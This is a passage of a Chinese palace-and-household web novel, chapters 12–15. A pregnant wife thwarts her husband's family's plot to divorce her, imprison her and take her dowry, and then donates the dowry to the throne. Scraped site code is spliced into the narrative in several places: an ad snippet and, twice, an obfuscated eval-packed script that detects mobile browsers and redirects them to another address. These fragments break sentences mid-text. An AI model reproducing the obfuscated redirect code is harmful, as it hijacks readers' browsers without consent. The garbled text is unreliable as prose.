秦叔愁得快要哭出来,“我当时就想着利利索索地办好这件事,所以绝嗣药份量足足的。别说解药,就是观音菩萨显灵,他,他也不会有子嗣了。” 这辈子,彻彻底底跟子嗣无缘。 崔朝雪身子一晃,险些栽倒,伸手扶住桌子才堪堪坐稳了。 “这么说,太子以后永远不可能有子嗣了?” “以后是绝对不会有了。唯一的指望,”秦叔望向崔朝雪,“便是你腹中的孩子了。” 她腹中的孩子,将会成为太子唯一的孩子。 崔朝雪坐在那里,久久没有言语。 事情百转千回,到这里打了个死结。 若是实话与太子讲,太子定会暴怒不已,即便不当场斩杀,也会在孩子降生的那刻取了她的命。 让他绝嗣,莫不如杀了他。 荣贵妃和荣丞相虎视眈眈,若是他们知晓了绝嗣一事,太子在这宫中…… 只怕是艰难险阻,困难重重。 她在宫中瞧着他的身形,比之一月前清减了不少。 想必早已知晓了绝嗣一事。 左右为难之际,有丫头来报,“夫人,老夫人有请。” 太子的事情没有想明白,老夫人却开始发难了。 崔朝雪按下纷乱的思绪,起身去往祥瑞居。 刚迈步进屋,一盏滚烫的茶水劈面而来。 崔朝雪一偏头,茶盏直直砸了出去。 院子里响起稀里哗啦的响声。 她闭了闭眼,不疾不徐走上前,声音冷冷地问道:“母亲怎么了?” 扔完茶盏的老夫人犹不解气,声音阴恻恻的,“你倒底跟太子殿下胡说了些什么,还不速速道来。” 有了太子撑腰,崔朝雪的底气十足,“太子下令,我与他之间的谈话,秘不外宣,母亲若是想知道,还是直接去问太子殿下吧。” 12. 第 12 章 老夫人满腔的怒气卡在了喉咙处,上不来下不去。 崔朝雪搬出了太子殿下,老夫人这火就不能随意发了。 她可以对崔朝雪发脾气,却不能对太子不敬。 “你一个内宅妇人,跟太子殿下有什么好聊的?太子还不是看在兄长和侯府的面子上才与你多费唇舌?”谢宛宛生气,“你要是阻了我和太子殿下的婚事,我定让兄长休了你。” 一个未出阁的姑娘家,竟敢颐指气使的指责嫂嫂。 崔朝雪:“你能做得了你兄长的主?那便让他与我和离吧。” 老夫人瞧着硬气无比的崔朝雪,七窍生烟。 以前的崔朝雪言听计从,俯小做低。 十分好拿捏。 可去庙里住了个把月,回来简直跟换了个人似的。 腰杆挺得直直的,看向他们的眼神冷静淡然,说话的语气也底气十足。 她捞起拐杖在地上使劲杵了两下,“放肆!崔氏,你莫不是真疯了?” 崔朝雪侧首,轻唤了声竹雪,“还不把老夫人的药给送进来。” 竹雪提着一堆药包走进来,轻轻放到屋中的桌子上。 崔朝雪道:“今日虽是陪着妹妹进了趟宫,但母亲的药,儿媳也是记在心里的。母亲说得对,您的身体最是重要。您健康长寿是我们侯府之福。” 一看到自己心心念念的中药,老夫人脸色立时和缓了。 她近几日断了药,明显感觉身体不如前几日。 又麻又难受。 找了郎中来瞧,都说那药是夫人亲自找人去配的,一般人配不了。 崔家是商贾之家,天南海北的,别人买不到的,崔家总有法子操持来。 老夫人现在这身子能有知觉,多亏了崔家的药。 瞧见救命的中药,老夫人满腔的怒火立时消了大半。 她自己的健康大过天。 她冷冷哼了声:“下次不许再迟。” “是,母亲。” 崔朝雪全身而退。 往回走的时候,竹雪悄声道:“还是夫人有远见。” 崔朝雪轻抚自己的小腹,“急什么,让她先高兴几天。” 那中药是秦叔亲自配制的,药材珍稀贵重,十几味配到一起,药效猛烈,短期见效,长期却是毁人。猛了急了,会在身体埋下诸多隐患,时间久了,隐患一一显现,身体便如那被掏空了的墙壁,稍微一碰便会轰然倒塌。 之前花那么多银子给老夫人治病,没换来她的半分感激,反倒是与谢纲一起,蒙骗、欺负姐姐。 对这样的豺狼虎豹,不值当付出真心。 她刚回侯府,腹中这张牌,还不到打出去的时候。 且让他们得瑟几日。 有了药,老夫人果真消停了几天,连带着谢纲和卫婕楚也消停了。 知晴向崔朝雪汇报的时候,还有些奇怪,“那卫姑娘前几天还哭天抹泪,一副要死要活的样子。这几天忽然就好了,听闻哼着小曲,心情不错。” “还能是什么,肯定是老夫人和谢纲承诺了什么。”崔朝雪漫不经心,“咱们只管等着吧。” 过了十几日,老夫人的身体一日好似一日,叫人搀扶着,可以勉强行走。 这可把她乐得不轻。 刚能走几步,便领着谢宛宛进了宫。 马车行到宫外,有丫头背着老夫人,在皇后寝宫门口再放下。进皇后寝宫那几步是让人搀扶着走进去的。 皇后召见了她们。 商谈了许久,出来时老夫人和谢宛宛如沐春风。 这些消息,飞快传到了崔朝雪耳朵里。 她知道,谢家这是按捺不住了。 果不其然,隔日清晨,她刚梳妆完毕,老夫人那边便来请。 将一只华丽的玉簪插到发间,崔朝雪不疾不徐地去了祥瑞居。 不出所料,平常寂寥的院子,今日满满当当全是人。 老夫人请来了族里的老人。 谢纲、谢宛宛都在。 崔朝雪刚迈进门,所有目光便都扫了过来。 个个脸色阴沉,仿佛是她做了什么十恶不赦的事情。 崔朝雪客客气气,向众人行礼后,立到一旁。 老夫人今天的精神头格外足,没用轮椅,只是坐在平常的椅子上,肘弯撑着桌子加以助力。 人都到齐了,她清清嗓子开了口。 “崔氏,你可知今日找你何事?” 崔朝雪表情很是无辜,“母亲,儿媳不知。是不是儿媳找人配制的药方出了什么问题?”她语速飞快地说着,“那药虽一副只值个百十两,可那药方却是儿媳千辛万苦找人配来的。寻常人根本配不到。否则,母亲瘫痪三年,何至于能坐起来了?” 老夫人不想听她自夸,赶紧止住她的话头,“自古,儿媳孝顺婆母是天经地义。今日找你来,是要谈休妻之事。” 崔朝雪露出嘲讽的表情。 他们谢家还是憋不住了,非要行休妻之事。只有休妻,才能理所应当地昧下崔家的嫁妆。 算盘珠子打得太精细了。 “休妻?” “正是,你三年无所出,又不许谢纲娶平妻,是可忍,孰不可忍,侯府对你已是仁至义尽,今日请族中长辈做个见证,你拿了休书,离开侯府吧。” 崔朝雪看向那些族人,“各位长辈都认可婆母的话吗?” 年龄最大的族长发话,“侯府子嗣单薄,你三年无所出,谢将军提出娶平妻之事,是对你的极大尊重,是帮你解除后顾之忧。你非但不理解,还闹将起来。此为大不妥。谢将军可以休妻。” 老夫人不忘抬出皇后娘娘,“我昨日进宫向皇后娘娘禀明此事,娘娘口谕,谢老将军是忠勇之臣,谢家不能无子。若崔晚柠不同意娶平妻,便可以休弃。” 今日,必须休妻。 崔朝雪淡淡看向众人,“各位长辈,可否容晚柠说几句话?” 马上就不是谢家夫人了,让她说几句话又何妨? 族长点头:“讲吧。” “我,谢晚柠,嫁入侯府三年,一孝敬婆母,尽心侍候瘫痪在床的婆母,亲手烹煮吃食端到婆母床前,为婆母擦拭污物,浆洗婆母 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 换下的衣裳,哪怕冬日寒凉满手冻疮都不曾懈怡。寻遍天下名医,为婆母身体配制药方。终于让婆母能站立行走。” “二是细心照顾妹妹谢宛宛。婆母瘫痪,夫君是男子,晚柠理所应当承担起照顾妹妹的重任。妹妹是女孩儿家,衣裳从里到外,全是晚柠亲手操持。妹妹最喜炸丸子,暑气正盛时,妹妹非要吃酥酥的丸子,晚柠顶着酷暑,亲自下厨,手和胳膊被油溅得全是泡,只为满足妹妹。” “三是尊重和顺从夫君。每每同房之后,夫君都会遣人送上汤药,夫妻本是一体,晚柠信夫君,从来不问,夫君递上来,晚柠毫不迟疑便喝下。前几日寺庙求子,方知,喝了三年的汤药,竟是药效猛烈的避子药……” 族里老人听着崔朝雪的诉说,眼睛里竟然有些动容。 这样的儿媳,可是难得一见的孝顺儿媳。 别的可能为假,可老夫人能站立行走,却是真的。 谁也不能否认。 “够了。”谢纲粗暴地打断她,“今日是因了你三年无所出休你,你说再多也改变不了事实。今日我是定要休妻的。” 老夫人眼见着人们对崔朝雪生出同情,赶紧找补,“你们别听她胡说八道,我的身体哪是她一个人侍候的?药都是侯府找郎中配的,怎么到她嘴里全成了她的功劳?宛宛心灵手巧,善解人意,何曾指使她去做那些粗活?还有避子汤,更是子虚无有。我们谢家盼子心切,怎会做出那等腌臜之事?” 一条一条驳斥下来,外人也难分真假。 崔朝雪没有再行辩解,而是看向族长,认真的问道:“族长,晚柠再问一句,今日休妻,理由确定是三年无所出?” 族长点头:“正是。” 崔朝雪又问:“那,是不是我有喜了,此事便做不得数?” 族长一愣,继而回答:“自然是如此。” 老夫人鄙夷一笑:“崔氏,你不要青天白日地做梦了。” 临末了还要垂死挣扎一番。 崔朝雪语气平静地说道:“晚柠前些日子在庙里潜心求子,归来后便与夫君同房,且同房后,夫君忘了递上汤药。不知道是不是晚柠的诚心感动了上苍,这几日,月事竟真得迟了些。趁长辈们都在,请郎中诊脉吧。” 这个要求并不过分。 族长:“那便请郎中吧。” 谢纲嗤笑一声,仿佛听到了全天下最滑稽的笑话。 旁人不知道崔晚柠是否有孕,他最是知道的。 他每次给她奉上的汤药,都是极烈的。 哪怕后来郎中给她诊脉,说她身子已经虚透,即便不用药也绝对不会怀孕,他还是继续用药。 毫不关心她身子的亏损程度。 前不久郎中断言,她身子只剩下一副空壳,若哪日急火攻心,便会一命呜呼。 这样的人怀孕? 真是滑天下之大稽。 他和母亲、妹妹都十分笃定,哪怕是相信这世间有鬼,也绝不会相信崔晚柠有孕。 在他们看来,崔晚柠此举不过是自取其辱罢了。 他们静等着看她的笑话! 13. 第 13 章 郎中过来需要时间。 满屋的人在等。 老夫人想堵死崔朝雪的后路,便故作大方地说道:“崔氏,趁着族人都在,我们提前把话说明白。你要请郎中,我明知是浪费时间,还是给你请了。但郎中诊完脉,你不可以再胡搅蛮缠,必须拿着休妻书,乖乖走人。” “你是被休弃的,浪费了将军三年时光,否则,我现在早已经抱上了孙子。国有国法,家有家规。按律,你的嫁妆不能带走。这是你的选择,你不可后悔。” “若是早答应了娶平妻之事,你依旧是风风光光的侯府主母,你的嫁妆和侯府里的一切任你支配。现在这个结果,怨不得别人,只能怨你自己。” “一会儿,我会让钱嬷嬷为你准备一千两银子,你以后好自为之吧。” 老夫人端出仁慈善良的样子,引得族人交头称赞。 “老夫人此举良善。” “崔氏不识好歹,断送了好好的前程。” “可惜,实在是可惜。” 崔朝雪表情平和,她静静看向自己辛苦侍奉了三年的老夫人,“母亲,如果郎中诊出我有孕了呢?” 老夫人一愣。 旋即发出一声冷笑:“崔氏,我奉劝你不要白日做梦。” 崔朝雪转向族长,“各位长辈是母亲请来主持公道的。母亲不答,诸位能给个答案吗?” 族长看着老夫人和谢纲一副志在必得的模样,也认为崔朝雪是垂死挣扎、胡搅蛮缠,他敷衍道:“若是你有孕,侯府自然不可以休妻。你还是侯府主母。” “如此?” 族长神色不耐:“休妻的理由是你无所出,若是你怀孕,休妻的理由便不存在了。自然是如此。” 崔朝雪面上露出浅笑,声音清脆地答了一声:“好!” 老夫人、谢纲和谢宛宛看崔朝雪的眼神,似是在看一个傻子。 看来她真是不知道自己的身子被掏成了什么破烂样子。 还在做着有可能怀孕的春秋大梦。 郎中来了。 小厮抬来一张桌子,放置在屋子中央。两张椅子分置两侧。崔朝雪轻轻落座,细长柔白的腕子伸出来。 老夫人声音里嘲讽之意很是明显:“郎中,给她诊脉,诊完,把结果清楚明白地告诉她。” 好让她彻底死了心。 郎中覆了帕子,食指指腹搭上。 厅堂里安静下来。 虽然大家都认为结果已定,可还是存有一份好奇。 郎中诊了一遍,刚抬起手指,老夫人便哼道:“是不是没有怀孕?” 郎中刚要说出结果,闻言愣了下,“容我再诊一遍。” 他怕诊错,想再细诊一番。 崔朝雪不动,任郎中手指重新搭上来。 谢纲冷笑:“再诊个十遍八遍,结果也不会改变。” 族中长辈插言。 “即是被休,让她休个明白吧。也不差这一时半刻。” “就是。多诊几遍,好让她死心。” 郎中认真诊了一会儿,撤回手,起身,面向老夫人和谢纲方向跪下:“恭喜老夫人,恭喜谢将军,夫人有喜了。” 夫人有喜了? 所有人震惊莫名的。 族长率先黑了脸色,质问郎中:“你可有诊错?” 郎中信誓旦旦,“族长,我从医十几年,有孕无孕,一诊便知,从无差错。” 这种小事若是诊错,他还做得什么郎中? 老夫人目瞪口呆,嘴里喃喃自语:“错了,错了,定是错了。” 谢纲眼中乌云翻涌,“来人,分别去请城西刘郎中,城北秦郎中。” 他不信。 一定是其中出了什么岔子。 各位族人面面相觑,说不清倒底是个什么情况。 谢宛宛蹙着眉头,“崔氏,你最近月事可否正常?” 崔朝雪淡淡答道:“自然是迟了。” 谢宛宛“呀”了一声,“你,你,你怎么可能怀孕?” 兄长亲口说了,嫂嫂身子亏虚严重,别说怀孕,怕是活不久了。 崔朝雪瞥她一眼,“为何不能怀孕?难不成你也知道你兄长喂我喝避子汤之事?” 谢宛宛头摇得跟拨浪鼓一样,“我不知道,我怎么可能知道。” 说完,惊觉自己失言,她气恼地看向崔朝雪:“崔氏说什么疯话呢,兄长盼子心切,怎么可能喂你避子汤?” 崔朝雪慢慢起身,眼神在众人脸上慢慢扫过:“可是,郎中诊出我有孕,我怎么没在任何一人的脸上瞧出喜意?” 她问族长,“您觉得这合常理吗?您今日带着这么多人来侯府,莫不是收了母亲什么好处,就等着将我撵出侯府,你们好皆大欢喜?” 族长恼羞成怒,“崔氏,注意你的言辞。” “若是冤枉了族长,”她缓缓跪下,“还请诸位长辈为我主持公道。谢家如火坑,若是待会儿两位郎中来,确定我有孕的话,请容许我和离。” 是和离,不是被休。 她一字一顿:“我会带着所有嫁妆,离开侯府。” 族人有些慌。 “崔氏不要胡言,我等只是来做个见证,与老夫人绝无任何交易。” “你三年无所出是事实,若今日诊不出怀孕,休妻是情理之中。” “族长说过了,你有孕,你便还是侯府主母。” 有人开始埋怨起老夫人。 “老夫人,贵府也是,要行休妻之事,怎可提前毫无准备?” “就是,连崔氏腹中有无孩子都不确定便请我们前来,太不慎重了。” “是啊,休妻是大事,需再三斟酌。” 谢纲气得脸色泛白,“诸位长辈,郎中诊断定是有误,其他两位郎中马上就来。还请稍安勿躁。” 他不认为崔氏会怀孕,只认为崔氏提前买通了郎中,想要鱼目混珠。 老夫人瞧向崔朝雪的眼神惊疑未定的。 两位郎中来得很快。 来了后,崔朝雪重新坐到桌前,两位郎中依次为她诊脉。 每人分别诊了两次。 全部诊完,谢纲迫不及待地问:“现在,请二位郎中说结果吧。” 两位郎中对望一眼,刘郎中道:“恭喜,夫人是喜脉。” 噗通。 老夫人一时没撑住桌沿,身体绵软无力地自椅子上滑落。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996379|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>下巴磕到地上,见了红。 谢宛宛惊呼一声扑上前:“母亲,母亲!” 手忙脚乱将人扶起来。 谢纲面沉如水,脸上没有一点儿喜意。 今日母亲将能叫来的族人全都叫了来,为得就是彰显一份公正,让外人知晓,不是侯府不容人,不是侯府昧下崔氏的嫁妆,而是崔氏三年无所出,且不同意谢家人娶平妻的安排,谢家无可奈何才行休妻之举。 拿了嫁妆,留了名声,一举两得。 事实却是,崔氏,竟然怀孕了。 他瞪着不可置信的眼睛,看向站成一排的三个郎中,沉声发问:“你们可有诊错?” 三个郎中神色莫名。 出诊这么些年,诊出喜脉后,见过各种各样高兴开怀的样子,却头一回见到如丧考妣的。秦郎中怕他听错,认认真真强调。 “谢将军,贵夫人是喜脉,喜脉!” 不是盼子三年吗? 应该欣喜若狂才是。 崔朝雪冷笑:“各位叔伯,你们见识到了吧?三位郎中在此,告知母亲和夫君,我这是喜脉,他们不仅不开心,反而质疑。事实如何,相信各位心中已有定论。” 族长面沉如水。 他噌地站起身,重重一甩袖子:“荒唐,实在是荒唐。”他转身,大步向外走,“就当我不曾来过。” 其他族人纷纷起身,边摇头叹息边往外走。 转瞬之间,厅堂内的人走了个干净。 老夫人气息难平地瘫坐在椅子上,嗓子呼噜呼噜发着音,想咳却咳不出来,难受得紧。 谢宛宛站在一旁,贴心给母亲拍背。 谢纲脸色发紫,气到浑身颤抖。 计划得好好的,今日可顺利休妻,未料及中间出了岔子。 不仅休不了妻,还被族人看了侯府笑话。 崔朝雪提出的“和离”,没有人当一回事。 她心知此种情形,谢家人需要好好消化一番。 她转身,“若无事,我先回去歇着了。” 刚走出祥瑞居,迎面便碰上了满面春风的卫婕楚。 她是来看崔朝雪笑话的。 “哟,这不是侯府主母吗?”她穿着鹅黄色的缎襦,素白长裙,灿若桃花,娇艳动人。她动作夸张地扬了扬手中的帕子,似要驱赶什么看不见的灰尘一般。 崔朝雪表情清淡,“嗯,我是侯府主母。你是何人,见了主母竟不行礼的?” 卫婕楚发出“咯咯咯”的笑声,“侯府主母?”她的笑声随风飘摇,“要被休掉的主母吗?” 她以为休妻之事已尘埃落定,笑得肆意张扬,“你既喜欢这个称呼,便趁此机会,让小厮丫头多叫几声。出了侯府大门,这称呼可就跟你无缘喽!” 崔朝雪不动声色地看着她嚣张得瑟的样子,“不跟我有缘,难不成跟你有缘?” 卫婕楚轻抚自己粉嫩的脸颊,“这个,就不劳你这个下堂妻操心了。” 她毫无顾忌,赤裸裸地称呼崔朝雪为“下堂妻”。 恍似她已成了侯夫人一般。 崔朝雪冷笑:“我倒是想下堂,可惜腹中胎儿不答应!” 卫婕楚如遭雷击! 14. 第 14 章 这打击锥心刺骨的。 刚刚还趾高气扬的卫婕楚,脸色迅速颓败下去。怀孕是她的倚仗,是她能够顺利进入侯府的底气。可她引以为傲的倚仗,崔朝雪竟然也有了。 她目露凶光,挥舞着双手就要往崔朝雪身上扑,凡七眼疾手快,一把将她扯开。 她身子趔趄着退出去七八步远。 崔朝雪面无表情地越过她,步伐平稳地回了秋闲居。 徒留卫婕楚像个疯子似地在那里大喊大叫。 方才有多得瑟,现在就有多崩溃。 祥瑞居里,老夫人气得浑身直哆嗦。 “她怎么就怀孕了?”她剜了儿子一眼,“你不是说她身体油尽灯枯,半截身子进了黄泉路么?这怎么还怀上孕了?” 谢纲哪知道怎么回事? 崔朝雪有孕似当头一棒砸下来,把他砸得头晕目眩,好半天反应不过来。 谢宛宛嘟起嘴巴,“这还休什么休?族里长辈可都亲眼确认了她有孕,又听她胡说八道了一气,咱们谢家现在成什么了?” 谢纲目色沉郁,“孕事是真的。” “三个郎中诊出的结果,那还能有假?”谢宛宛忍不住埋怨谢纲,“兄长,说来说去都是你的错,都做好休妻的打算了,就不该碰她才是。谁能料想到她竟然撞了大运,这个节骨眼上怀了孩子。” “我也不清楚是怎么回事,郎中明明说她怀不了孕的。” 老夫人摇头,“这世上的事情哪有绝对的?以前不就有妇人求子不得,遍寻名医,都说身体正常,可就是怀不了孕。女子疲惫了,有天就扬言再也不求子了。结果下个月就怀上了。有时候是心情作祟。” 老夫人面色不愉,“照此看来,崔氏为求子定是寻了名贵药材,否则不会如此。” “那怎么办?”谢宛宛问,“兄长若是同意和离,那岂不是要遂了崔氏的意,带走全部嫁妆?” 他们还享用什么? 老夫人:“她怀着谢家的子孙,哪能容许她和离?” 谢纲眼中迸出恨意,“即便她费尽心思怀了孕,我也不会让她顺利生下来。” 老夫人和谢宛宛吃惊,异口同声:“打掉?” 老夫人重视子嗣,不太舍得。 谢宛宛不甚在意。 她自己能嫁好就行,谢家子嗣不在她的考量之内。 “她既怀了孕,行事又有些疯魔,先关起来。婕楚孕肚快要遮掩不住,得抓紧时间迎她进门。” 老夫人愣了一瞬,明白儿子的打算,“崔氏无根无基,关起来,让她叫天不应叫地不灵。她怀了孕又如何?还不是任由我们拿捏。” 不是一家人不进一家门。 他们迅速达成一致。 院子里卫婕楚的嚎啕声传入屋内,老夫人不悦地紧了紧眉头,“赶紧,让她闭嘴。” 哭得让人心慌。 谢纲疾步出去。 卫婕楚在小荷搀扶下哭得上气不接下气。 雨泪纷纷的。 好不凄惨。 看到谢纲,她嚎哭的动静加了一个度。 谢纲过来扶住她,“婕楚,你怀有身孕,别哭坏了身子。”不等她开口,他凑近她的耳畔,低声道,“纵使她怀孕也无济于事,我答应你的事,照办。” 卫婕楚脸上还挂着泪,闻言愣住,表情半信半疑的。 谢纲:“她从庙里回来便疯疯癫癫的,我这就把她囚在后院。不许她出来随意伤人。” “将崔氏囚在后院?”卫婕楚的精气神立马回来了,她抬起袖子拭了拭脸上的泪,声音软了下去,“真的?” “自然是真的。”谢纲弯腰抱起她,“我先送你回去。” 一听事情有了转机,卫婕楚乖觉地偎到谢纲的胸口,柔情似水地说道:“谢郎,我就是太在意你了。” 刚迈进秋闲居,一直侯在院子里的秦叔急忙迎上前,“夫人身体无恙吧?” 崔朝雪:“无恙。” 秦叔叮嘱,“谢家人狼心狗肺,现下没达成目标,一定会生出别的法子。为今之计,夫人要好好保重身体。”他看向立在一旁的凡七、凡九,“今日,你们必须好好守护着夫人。尤其是谢家人过来,你们必须在跟前。” 崔朝雪问:“太子殿下那边?” 秦叔:“殿下派人传信,说是妥了。” 崔朝雪长舒一口气,“那我便放心了。” 没多久,竹雪神色慌张地来报:“夫人,方才卫姑娘领着人去了库房,说是奉将军之命来取东西。砸开锁后,取走了一副红宝石头面,两副玉镯,一支金簪,价值上万两。按照您的吩咐,奴婢们没有阻拦,只在她走后清点了下东西,发现少了这几样。” “嗯,甭管她,让她拿吧。” 知晴气得眼圈都红了,“看把她得瑟的,真把夫人的库房当成她的私库了。” 崔朝雪安抚她们,“不必生气,她拿走多少,回头就得给我还回多少。她不嫌麻烦,就拿吧。这东西一直没得到跟得到了再失去,感觉肯定不一样。” 且让她得瑟一会儿。 谢纲是一个时辰之后过来的。 他和卫婕楚好好畅想了一下未来。 两人意见出奇一致,不急着让崔氏死,得好好磋磨嵯磨她,等磋磨够了再一把火将人烧死。 失火致死,旁人也说不得什么。 他们可以拿着崔氏的嫁妆,好好过他们的下半辈子。 衣食无忧。 安享天年。 岂不美哉。 谢纲到秋闲居的时候,嘴角的笑意还没来得及掩去。 崔朝雪抬头瞧见,还愣了一瞬。 踢踢踏踏的脚步声传来,院门外,一二十名随从将秋闲居团团围住。 崔朝雪马上明白,他是来者不善。 谢纲收起笑,冷冷看着坐在桌前的崔朝雪,“崔氏,你可知错?” 他收起了之前的柔情蜜意,收起了之前的虚伪做作,终于露出了本真面目。 崔朝雪挺直脊背,淡淡回答:“不知。” “你顶撞母亲,不敬夫君,欺负婕楚,实在是错得离谱,我谢家一再容忍你,可你却愈发猖狂,我实在是忍无可忍……” 崔朝雪冷冷看着他,“你千万别忍,想做什么便做吧!” 谢纲:“……” 他还待发挥几句,谁知崔朝雪不给他机会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996380|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他气急败坏,大手一挥:“崔氏疯魔不成状,以后便囚在后院,非准许不得外出。”他背负双手,“郎中说了,你身体有亏,即便是怀孕,也生不出健康的孩子。你歇了所有心思安稳待着,我可以放你一马。否则……” 威胁意味明显。 崔朝雪脸上无半丝慌张,表情鄙夷,“怎么,让我求生不能求死不得?” 谢纲:“你!你真是无可救药。” “无可救药的是你吧。” 毫无怯意的崔朝雪令谢纲心头火起。 他本不欲今天动手的。 可触到她鄙夷不屑的眼神,他再也忍不住。 便想给她个厉害瞧瞧。 他攥紧拳头,眼睛眯起,一步一步靠近崔朝雪…… “圣,旨,到!” 千钧一发之际,宫里太监那尖细的嗓音响起。 谢纲脚步顿住,表情里显出几分不可思议来。 “这个时候,来得是什么圣旨?” 没注意对面的崔朝雪暗自松了一口气。 既然是圣旨,谢家人自不敢怠慢。 很快,侯府所有人都来到院子。 正是晌午时分,艳阳高照,清风吹拂。 是秋高气爽的好天气。 卫婕楚正躲在屋子里欣赏刚取回的钗饰,金宝石头面戴到头上,玉镯套到柔嫩的细腕上,她对着镜子打量,顿觉心里美滋滋的。 “小荷,你瞧我美吗?” 小荷被亮光闪闪的红宝石头面晃得睁不开眼睛。 “这样昂贵的钗饰,奴婢可是头一回见。”她由衷地夸赞,“美,实在是太美了。” 卫婕楚心满意足,“回头,咱们再去库房找找。” 看有没有更合心意的。 听闻有圣旨到,她理理衣裙,美滋滋地跑出去接圣旨。 人都到齐了,众人跪成一排,静等着太监宣旨。 太监展开圣旨,用尖细的嗓音读道:“奉天承运皇帝诏曰,侯府崔氏,心系朝廷,捐出所有嫁妆支持边关将士,实为大义之举。特封崔氏为四品诰命夫人,钦此。” 老夫人四肢无力,两名丫头一左一右搀扶着才能勉强跪下,听完圣旨内容,老夫人身子摇摇欲坠,“什么,捐出所有嫁妆?” 太监喜气洋洋的,“正是。” 将圣旨折好递到崔朝雪手里,“夫人大义,奴才钦佩。” 崔朝雪双手接过圣旨,“臣妇谢皇上隆恩,银两已分批运了出去。臣妇的嫁妆,马上就会整理送出。” 她不光捐出一百万两银子,还要将她放置在侯府里的一百多抬嫁妆捐出去。 她要让贪心的谢家人,彻彻底底地落空。 谢纲两眼一黑,差点儿一头栽到地上。 他千算万算,怎么也没算到崔氏会有捐嫁妆的想法。 待太监离开,他黑沉着脸质问:“崔氏,你是真疯魔了不成,把嫁妆全捐出去,侯府吃什么喝什么?” “侯府吃用,自然是谢大人负责啊,关我嫁妆什么事儿?”崔朝雪表情漠然,“方才夫君不是说了么,我已经疯魔了。所以,就让我这个疯魔的四品诰命夫人,做点儿自己想做的事情吧。” 15. 第 15 章 老夫人被两个丫头搀扶到了轮椅里,她一手扶着轮椅扶手,腾出另一只手拿着拐杖咣咣砸地。 “荒唐,实在是荒唐。放眼整个京城,你们何时听过有人把嫁妆捐给了朝廷?简直荒谬至极!”她重重喘息两声,“崔氏,我命令你,赶紧去禀明皇上,这嫁妆不能捐,不能捐!” 崔朝雪瞧着老太婆那副似被剜肉刮骨的丑恶嘴脸,不冷不热地说道:“母亲,圣旨已下,你难道要质疑皇上的决定?” 得是多大的胆子,敢质疑当朝天子? 她掷地有声:“嫁妆已捐,无可更改。” 一听嫁妆追不回来,老夫人气火攻心,两眼一翻,晕了过去。 丫环们手忙脚乱去抬。 崔朝雪站立那里,纹丝不动。 卫婕楚就跟傻了一样,还跪在那里,好一会儿,她才问身旁的小荷:“这,这究竟是怎么一回事?” 小荷低语:“夫人把嫁妆全捐给了朝廷。” “嫁妆?” “是的,听闻得有一百多抬。” “一百多抬的嫁妆,全捐给了朝廷?” 卫婕楚露出不可思议的表情。 谢纲气到说不出话。 他现在说什么也无济于事。 哪怕身后跟着一堆的随从,他也无从下手。 他纵使有再大的胆子,也不能对皇上新封的诰命夫人动手。 囚禁崔氏的法子。 暂时是行不通了。 谢宛宛还挂着自己出嫁时用崔氏的嫁妆充充面子,这下好,连根头发丝也指望不上,她恼怒不已地蹙着眉头,心里头把崔朝雪骂了个底朝天。 崔朝雪心情分外舒畅。 她从袖子中抖出嫁妆单子,唰地一扬,长长的嫁妆单子似布匹一样展开,垂坠于地。 她扬声:“待会儿宫里来人抬嫁妆。竹雪,速去库房整理。知晴,你带人去各房照着嫁妆单子找,现在这些东西属于朝廷,找到之后,不用招呼,只管拿。朝廷的东西,任何人不得随意取用。你们务必查找仔细了,不漏一针,不缺一线。” “是,夫人。”竹雪、知晴声音响亮。 终于到了她们扬眉吐气的时候。 卫婕楚还在懵着,她走到谢纲跟前,“这崔氏,真疯魔了?” 哪有把自己全部的嫁妆捐给朝廷的? 不是傻,是什么? 谢纲脸色铁青,不发一言。 他想不出任何办法来破局。 卫婕楚还没想明白怎么回事呢,清霞居的丫头就颠颠地跑了来,隔老远就在喊:“不好了,不好了。” 小荷认出是清霞居的丫头,不由得喝斥:“何事如此惊慌?” 丫头上气不接下气:“方才,知晴姐姐带人去了清霞居,说是要取朝廷的东西,接着便在屋内大肆翻找起来,”丫头越说声音越低,“屋里,屋里被,被翻得乱七八糟。” 卫婕楚当下就怒了:“真是岂有此理。”她顺势揽住谢纲的胳膊,“大人,你得给我做主。” 谢纲眼睛喷火,沉声道:“随我去看看。” 卫婕楚自以为找到了倚仗,趾高气扬地跟在后头。 一行几人刚走到清霞居门口,就见凡七几个正抬着满满当当的一个箱子往院门外走。 谢纲怒喝一声:“站住!” 凡七顿住,将箱子放下。 谢纲几步走到跟前,眼神在箱子里扫视。 凡七坦然道:“谢大人,这些都是夫人嫁妆单子里的东西,您看?” 还敢不抬了? 谢纲似是不信,“确定都是嫁妆单子里的东西?” 凡七一副理所当然的表情,“是。” 谢纲抬手,“把嫁妆单子拿过来。” 凡七回头,冲屋内喊了声:“知晴,谢大人要看嫁妆单子。” 知晴忙拿着嫁妆单子从里头走出来,神色坦然地往前一递:“谢大人。” 当谢纲接过去后,知晴紧跟了一句:“嫁妆单子在官府已有备案,为防万一,夫人已誊写一份呈给了太子殿下。咱府上可只有这一份,大人可瞧仔细了。” 你要是火气上头给撕了,我们可是有准备的。 东西赖不掉。 谢纲岂能听不出知晴话外之意? 可知晴态度恭恭敬敬的,他想发火都无从发起。 